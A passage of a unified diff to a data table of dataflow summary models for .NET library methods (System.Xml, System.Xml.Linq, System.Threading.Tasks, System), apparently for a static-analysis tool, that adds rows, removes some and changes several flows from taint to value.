System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;get_Result;();Argument[this];ReturnValue;taint;manual | | System.Threading.Tasks;TaskAsyncEnumerableExtensions;ConfigureAwait;(System.IAsyncDisposable,System.Boolean);Argument[0];ReturnValue;taint;df-generated | | System.Threading.Tasks;TaskAsyncEnumerableExtensions;ConfigureAwait;(System.Collections.Generic.IAsyncEnumerable,System.Boolean);Argument[0];ReturnValue;taint;df-generated | @@ -14947,7 +15150,7 @@ | System.Threading.Tasks;ValueTask;AsTask;();Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];value;dfc-generated | | System.Threading.Tasks;ValueTask;ConfigureAwait;(System.Boolean);Argument[this];ReturnValue;taint;df-generated | | System.Threading.Tasks;ValueTask;GetAwaiter;();Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;ValueTask;Preserve;();Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;ValueTask;Preserve;();Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;ValueTask;ToString;();Argument[this];ReturnValue;taint;df-generated | | System.Threading.Tasks;ValueTask;ValueTask;(System.Threading.Tasks.Sources.IValueTaskSource,System.Int16);Argument[0];Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._obj];value;dfc-generated | | System.Threading.Tasks;ValueTask;ValueTask;(System.Threading.Tasks.Task);Argument[0];Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._obj];value;dfc-generated | @@ -15181,7 +15384,9 @@ | System.Xml.Linq;XContainer;Add;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XContainer;Add;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XContainer;Add;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XContainer;Add;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XContainer;AddFirst;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XContainer;AddFirst;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XContainer;DescendantNodes;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XContainer;Descendants;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XContainer;Descendants;(System.Xml.Linq.XName);Argument[this];ReturnValue;taint;df-generated | @@ -15192,6 +15397,7 @@ | System.Xml.Linq;XContainer;ReplaceNodes;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XContainer;ReplaceNodes;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XContainer;ReplaceNodes;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XContainer;ReplaceNodes;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XContainer;get_FirstNode;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XContainer;get_LastNode;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XDeclaration;ToString;();Argument[this].SyntheticField[System.Xml.Linq.XDeclaration._encoding];ReturnValue;taint;dfc-generated | @@ -15245,9 +15451,11 @@ | System.Xml.Linq;XElement;ReplaceAll;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAll;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAll;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XElement;ReplaceAll;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XElement;ReplaceAttributes;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAttributes;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAttributes;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XElement;ReplaceAttributes;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XElement;SetAttributeValue;(System.Xml.Linq.XName,System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;SetAttributeValue;(System.Xml.Linq.XName,System.Object);Argument[1];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;SetElementValue;(System.Xml.Linq.XName,System.Object);Argument[1];Argument[this];taint;df-generated | @@ -15269,7 +15477,9 @@ | System.Xml.Linq;XNamespace;get_NamespaceName;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XNamespace;op_Addition;(System.Xml.Linq.XNamespace,System.String);Argument[0];ReturnValue.SyntheticField[System.Xml.Linq.XName._ns];value;dfc-generated | | System.Xml.Linq;XNode;AddAfterSelf;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XNode;AddAfterSelf;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XNode;AddBeforeSelf;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XNode;AddBeforeSelf;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XNode;Ancestors;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;Ancestors;(System.Xml.Linq.XName);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;CreateReader;(System.Xml.Linq.ReaderOptions);Argument[this];ReturnValue.SyntheticField[System.Xml.Linq.XNodeReader._source];value;dfc-generated | @@ -15279,6 +15489,7 @@ | System.Xml.Linq;XNode;ReadFrom;(System.Xml.XmlReader);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;ReadFromAsync;(System.Xml.XmlReader,System.Threading.CancellationToken);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;ReplaceWith;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XNode;ReplaceWith;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XNode;WriteTo;(System.Xml.XmlWriter);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XNode;WriteToAsync;(System.Xml.XmlWriter,System.Threading.CancellationToken);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XNode;get_NextNode;();Argument[this];ReturnValue;taint;df-generated | @@ -15308,10 +15519,11 @@ | System.Xml.Linq;XStreamingElement;XStreamingElement;(System.Xml.Linq.XName,System.Object[]);Argument[1].Element;Argument[this];taint;df-generated | | System.Xml.Linq;XText;XText;(System.String);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XText;XText;(System.Xml.Linq.XText);Argument[0];Argument[this];taint;df-generated | -| System.Xml.Resolvers;XmlPreloadedResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;df-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;dfc-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | +| System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | +| System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | | System.Xml.Resolvers;XmlPreloadedResolver;XmlPreloadedResolver;(System.Xml.XmlResolver,System.Xml.Resolvers.XmlKnownDtds,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[this];taint;df-generated | | System.Xml.Resolvers;XmlPreloadedResolver;get_PreloadedUris;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;Extensions;GetSchemaInfo;(System.Xml.Linq.XAttribute);Argument[0];ReturnValue;taint;df-generated | @@ -15365,14 +15577,15 @@ | System.Xml.Schema;XmlSchemaComplexContentRestriction;get_Attributes;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaComplexType;get_AttributeWildcard;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaComplexType;get_ContentTypeParticle;();Argument[this];ReturnValue;taint;df-generated | -| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[0];Argument[2];taint;df-generated | -| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[2];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[0];Argument[2];taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[2];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaElement;get_ElementSchemaType;();Argument[this];ReturnValue;taint;df-generated | @@ -15416,12 +15629,12 @@ | System.Xml.Schema;XmlSchemaSet;Add;(System.String,System.Xml.XmlReader);Argument[1];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Add;(System.String,System.Xml.XmlReader);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchema);Argument[0];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchemaSet);Argument[0];Argument[this];taint;df-generated | | System.Xml.Schema;XmlSchemaSet;CopyTo;(System.Xml.Schema.XmlSchema[],System.Int32);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Remove;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;value;dfc-generated | | System.Xml.Schema;XmlSchemaSet;Reprocess;(System.Xml.Schema.XmlSchema);Argument[0];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaSet;Reprocess;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaSet;Reprocess;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaSet;Schemas;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Schemas;(System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;XmlSchemaSet;(System.Xml.XmlNameTable);Argument[0];Argument[this].SyntheticField[System.Xml.Schema.XmlSchemaSet._nameTable];value;dfc-generated | @@ -15447,7 +15660,7 @@ | System.Xml.Schema;XmlSchemaValidator;Initialize;(System.Xml.Schema.XmlSchemaObject);Argument[0];Argument[this].SyntheticField[System.Xml.Schema.XmlSchemaValidator._partialValidationType];value;dfc-generated | | System.Xml.Schema;XmlSchemaValidator;SkipToEndElement;(System.Xml.Schema.XmlSchemaInfo);Argument[this];Argument[0];taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[2];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[2];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[2];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.Xml.Schema.XmlValueGetter,System.Xml.Schema.XmlSchemaInfo);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateElement;(System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[0];Argument[this];taint;df-generated | @@ -15460,7 +15673,7 @@ | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];Argument[0];taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateText;(System.Xml.Schema.XmlValueGetter);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -15829,6 +16042,7 @@ | System.Xml.XPath;Extensions;CreateNavigator;(System.Xml.Linq.XNode,System.Xml.XmlNameTable);Argument[0];ReturnValue.SyntheticField[System.Xml.XPath.XNodeNavigator._source];value;dfc-generated | | System.Xml.XPath;Extensions;CreateNavigator;(System.Xml.Linq.XNode,System.Xml.XmlNameTable);Argument[1];ReturnValue.SyntheticField[System.Xml.XPath.XNodeNavigator._nameTable];value;dfc-generated | | System.Xml.XPath;IXPathNavigable;CreateNavigator;();Argument[this];ReturnValue;taint;df-generated | +| System.Xml.XPath;IXPathNavigable;CreateNavigator;();Argument[this];ReturnValue;value;df-generated | | System.Xml.XPath;XDocumentExtensions;ToXPathNavigable;(System.Xml.Linq.XNode);Argument[0];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathDocument;XPathDocument;(System.Xml.XmlReader,System.Xml.XmlSpace);Argument[0];Argument[this];taint;df-generated | | System.Xml.XPath;XPathException;get_Message;();Argument[this].Property[System.Exception.Message];ReturnValue;value;dfc-generated | @@ -15839,7 +16053,7 @@ | System.Xml.XPath;XPathExpression;SetContext;(System.Xml.IXmlNamespaceResolver);Argument[0];Argument[this];taint;df-generated | | System.Xml.XPath;XPathExpression;SetContext;(System.Xml.XmlNamespaceManager);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml.XPath;XPathExpression;get_Expression;();Argument[this];ReturnValue;taint;df-generated | -| System.Xml.XPath;XPathItem;ValueAs;(System.Type);Argument[this];ReturnValue;taint;df-generated | +| System.Xml.XPath;XPathItem;ValueAs;(System.Type);Argument[this];ReturnValue;value;df-generated | | System.Xml.XPath;XPathItem;ValueAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[1];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathItem;ValueAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[this];Argument[1];taint;df-generated | | System.Xml.XPath;XPathItem;ValueAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[this];ReturnValue;taint;df-generated | @@ -16211,6 +16425,7 @@ | System.Xml;XmlNamespaceManager;get_NameTable;();Argument[this].SyntheticField[System.Xml.XmlNamespaceManager._nameTable];ReturnValue;value;dfc-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;Clone;();Argument[this];ReturnValue;taint;df-generated | @@ -16222,6 +16437,7 @@ | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[1].Element;taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | @@ -16230,20 +16446,21 @@ | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[1].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[1].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | -| System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;RemoveChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;dfc-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[this];taint;df-generated | -| System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1];ReturnValue;value;df-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;SelectNodes;(System.String);Argument[this];ReturnValue;taint;manual | | System.Xml;XmlNode;SelectNodes;(System.String,System.Xml.XmlNamespaceManager);Argument[this];ReturnValue;taint;manual | @@ -16382,15 +16599,16 @@ | System.Xml;XmlReaderSettings;add_ValidationEventHandler;(System.Xml.Schema.ValidationEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Xml;XmlReaderSettings;remove_ValidationEventHandler;(System.Xml.Schema.ValidationEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Xml;XmlReaderSettings;set_XmlResolver;(System.Xml.XmlResolver);Argument[0];Argument[this];taint;df-generated | -| System.Xml;XmlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | +| System.Xml;XmlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;dfc-generated | | System.Xml;XmlResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlResolver;ResolveUri;(System.Uri,System.String);Argument[0];ReturnValue;value;dfc-generated | | System.Xml;XmlResolver;ResolveUri;(System.Uri,System.String);Argument[1];ReturnValue;taint;dfc-generated | | System.Xml;XmlResolver;set_Credentials;(System.Net.ICredentials);Argument[0];Argument[this];taint;df-generated | -| System.Xml;XmlSecureResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;df-generated | | System.Xml;XmlSecureResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;dfc-generated | | System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | | System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | +| System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | +| System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | | System.Xml;XmlText;SplitText;(System.Int32);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlTextReader;GetRemainder;();Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlTextReader;ReadString;();Argument[this].Property[System.Xml.XmlReader.Value];ReturnValue;taint;df-generated | @@ -16435,7 +16653,6 @@ | System.Xml;XmlTextWriter;XmlTextWriter;(System.IO.Stream,System.Text.Encoding);Argument[1];Argument[this];taint;df-generated | | System.Xml;XmlTextWriter;XmlTextWriter;(System.IO.TextWriter);Argument[0];Argument[this];taint;df-generated | | System.Xml;XmlTextWriter;get_BaseStream;();Argument[this].SyntheticField[System.Xml.XmlTextWriter._textWriter].Property[System.IO.StreamWriter.BaseStream];ReturnValue;value;dfc-generated | -| System.Xml;XmlUrlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;df-generated | | System.Xml;XmlUrlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;dfc-generated | | System.Xml;XmlUrlResolver;set_Proxy;(System.Net.IWebProxy);Argument[0];Argument[this];taint;df-generated | | System.Xml;XmlValidatingReader;ReadString;();Argument[this].Property[System.Xml.XmlReader.Value];ReturnValue;taint;df-generated | @@ -16462,8 +16679,8 @@ | System.Xml;XmlWriter;Create;(System.Text.StringBuilder);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;Create;(System.Text.StringBuilder,System.Xml.XmlWriterSettings);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;Create;(System.Text.StringBuilder,System.Xml.XmlWriterSettings);Argument[1];ReturnValue;taint;df-generated | -| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter);Argument[0];ReturnValue;taint;df-generated | -| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter,System.Xml.XmlWriterSettings);Argument[0];ReturnValue;taint;df-generated | +| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter);Argument[0];ReturnValue;value;df-generated | +| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter,System.Xml.XmlWriterSettings);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlWriter;Create;(System.Xml.XmlWriter,System.Xml.XmlWriterSettings);Argument[1];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;LookupPrefix;(System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;WriteAttributeString;(System.String,System.String);Argument[0];Argument[this];taint;df-generated | @@ -16551,7 +16768,7 @@ | System;Action;BeginInvoke;(T,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System;AggregateException;AggregateException;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element;Argument[this].SyntheticField[System.AggregateException._innerExceptions];value;dfc-generated | | System;AggregateException;AggregateException;(System.String,System.Exception);Argument[1];Argument[this].SyntheticField[System.AggregateException._innerExceptions].Element;value;dfc-generated | -| System;AggregateException;GetBaseException;();Argument[this];ReturnValue;taint;df-generated | +| System;AggregateException;GetBaseException;();Argument[this];ReturnValue;value;df-generated | | System;AggregateException;Handle;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System;AggregateException;Handle;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System;AggregateException;Handle;(System.Func);Argument[this].SyntheticField[System.AggregateException._innerExceptions].Element;Argument[0].Parameter[0];value;dfc-generated | @@ -16669,6 +16886,7 @@ | System;ArraySegment;Slice;(System.Int32,System.Int32);Argument[this].SyntheticField[System.ArraySegment`1._array];ReturnValue.SyntheticField[System.ArraySegment`1._array];value;dfc-generated | | System;ArraySegment;get_Array;();Argument[this].SyntheticField[System.ArraySegment`1._array];ReturnValue;value;dfc-generated | | System;ArraySegment;get_Item;(System.Int32);Argument[this].SyntheticField[System.ArraySegment`1._array].Element;ReturnValue;value;dfc-generated | +| System;ArraySegment;set_Item;(System.Int32,T);Argument[1];Argument[this].SyntheticField[System.ArraySegment`1._array].Element;value;dfc-generated | | System;AssemblyLoadEventHandler;BeginInvoke;(System.Object,System.AssemblyLoadEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System;AsyncCallback;BeginInvoke;(System.IAsyncResult,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System;Attribute;get_TypeId;();Argument[this];ReturnValue;taint;df-generated | @@ -17043,7 